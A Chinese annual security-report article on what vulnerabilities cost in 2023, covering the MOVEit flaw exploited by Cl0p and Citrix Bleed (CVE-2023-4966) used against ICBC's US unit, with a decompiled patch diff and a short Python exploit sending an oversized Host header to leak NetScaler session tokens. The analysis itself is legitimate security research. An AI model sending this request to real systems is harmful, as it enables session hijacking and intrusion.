22年的一篇深蓝洞察 -- 年度最具含金量漏洞,披露过当年、也是彼时历史上最大的单笔漏洞奖金,为 1000 万美元。
漏洞究竟价值如何,没有比 2023 年度发生的安全事件来得更直观的了。
以下为本期深蓝洞察年度安全报告的第七篇。
07
2023 年 9 月 27 日,一家俄罗斯公司在 X 推特上宣布,以最高 2000 万美元的价格收购 iOS 和 Android 系统的远程代码执行漏洞 (RCE) 利用链,并承诺攻击代码的最终用户一定是非北约国家。
这个价格已经是币圈单笔最高漏洞奖金的翻倍。而且这只是收购价,卖出去的漏洞还要用在被攻击的目标上,最终使用者的购买价可能远不止 2000 万美元。
装备精良的漏洞利用代码,向来不是市场化的生产资料。在过去,只有最终的神秘使用者才能知道它的价格和价值。
即使是被攻击者,也无从知晓自己究竟是被多贵的子弹命中,通常甚至不知道被命中。
然而 2023 年上半年,一颗漏洞子弹的价值,被攻击者知道了,很多被攻击者都知道了,连普罗大众也都知道了:1 亿美金。
这个真金白银价值 1 亿美元的漏洞,就是 CVE-2023-34362,一个被勒索软件组织 Cl0p 使用的 MOVEit SQLi 0day 漏洞。
Cl0p 利用这个漏洞,在 2023 年发起对壳牌石油、普华永道、多家美国银行和大学等机构的勒索攻击,从这些受害机构里 Cl0p 一共收到 1 亿美元赎金。它最初的勒索报价是美元 7 亿。
2023 年下半年,Citrix Bleed 漏洞(CVE-2023-4966)异军突起。这大概是国人最应该了解的漏洞。
23 年的 11 月 3 日,勒索组织 Lockbit 利用该漏洞攻击了工商银行旗下位于美国的 ICBC Financial Services(工行金融服务),导致其系统服务中断。Lockbit 表示 ICBC 最终交了赎金,但没有透露金额。
ICBC 并不是 Citrix Bleed 漏洞的唯一受害者。该漏洞被披露后,大量系统中存在该漏洞的组织机构都遭受到了攻击,包括波音、DP World(迪拜港口世界公司)和 Allen&Overy 等大型企业。
这个漏洞的“价值”极有可能超越前辈。
下面我们来看看,这个最费钱的漏洞,究竟是怎样神奇的一个存在。
CVE-2023-4966 是 Citrix 公司 NetScaler ADC 和 Gateway 产品中存在的漏洞。
漏洞点位于固件的 /netscaler/nsppe
可执行程序中。__nsppe
是 NetScaler 的数据包处理引擎,它包含完整的 TCP/IP 堆栈及 HTTP 服务。
Diff 漏洞修复前后两个版本的nsppe
,就可以从漏洞修复前后 ns_aaa_auth_send_openid_config
函数相关代码的切片看到,修复后的代码是在发送回复包之前,添加了一次额外的边界检查:
`uVar7 = snprintf(print_temp_rule,0x20000,` `"{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"` `,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);``uVar4 = 0x20;``if (uVar7 < 0x20000) {` `authv2_json_resp = 1;` `iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);` `...``}`
在漏洞修复前,上述代码利用 snprintf
函数,将设备的主机名以及其他一些信息插入到模板中,生成一段 JSON 字符串用于 OpenID 的配置,这段 JSON 字符串会被直接作为回复包发送出去。
因此,攻击者只要构造一个 Host 字段足够长的请求包发送给 NetScaler 实例,就能在响应中得到包含了缓冲区之后内存中的值。内存中的值包含了一个 65 字节的 Session Token。
下面是漏洞利用的代码片段:
`hostname = args.target`` `` ``if __name__ == "__main__":` `headers = {` `"Host": "a"*24576` `}` `r = requests.get(f"https://{hostname}/oauth/idp/.well-known/openid-configuration", headers=headers, verify=False,timeout=10)`
漏洞修复后的版本对 JSON 字符串的实际长度进行了边界校验,只有当 format 后的字符串长度小于 0x20000 时,回复才会被成功发送。
**吃惊吗?**如此费钱的漏洞,竟是成因和利用都如此简单的一个缓冲区溢出。大概也正是漏洞的利用复杂性低,使其更具现实危害性。
2023 年,无疑是勒索软件肆虐的一年。
勒索组织的数量快速增长,导致攻击和泄露数据同比增长了 50%。
现实世界的真实赎金,可能远高于各类报告统计的数据。这是因为已公布的受害者可能只是冰山一角:更多企业可能选择隐瞒此类事件,以避免监管处罚或声誉损失。
我们很好奇,被勒索的企业,每年在安全防御与测试中的投入,有赎金的十分之一吗?
漏洞的子弹,不会停飞。
2024年,最费钱的那颗,会命中谁**?**
参 考:
[1] https://twitter.com/opzero\_en
[3] https://socradar.io/dark-web-threat-profile-clop-ransomware/
[4] https://www.cve.org/CVERecord?id=CVE-2023-4966
明日,请继续关注《深蓝洞察 | 2023 年度安全报告》第八篇。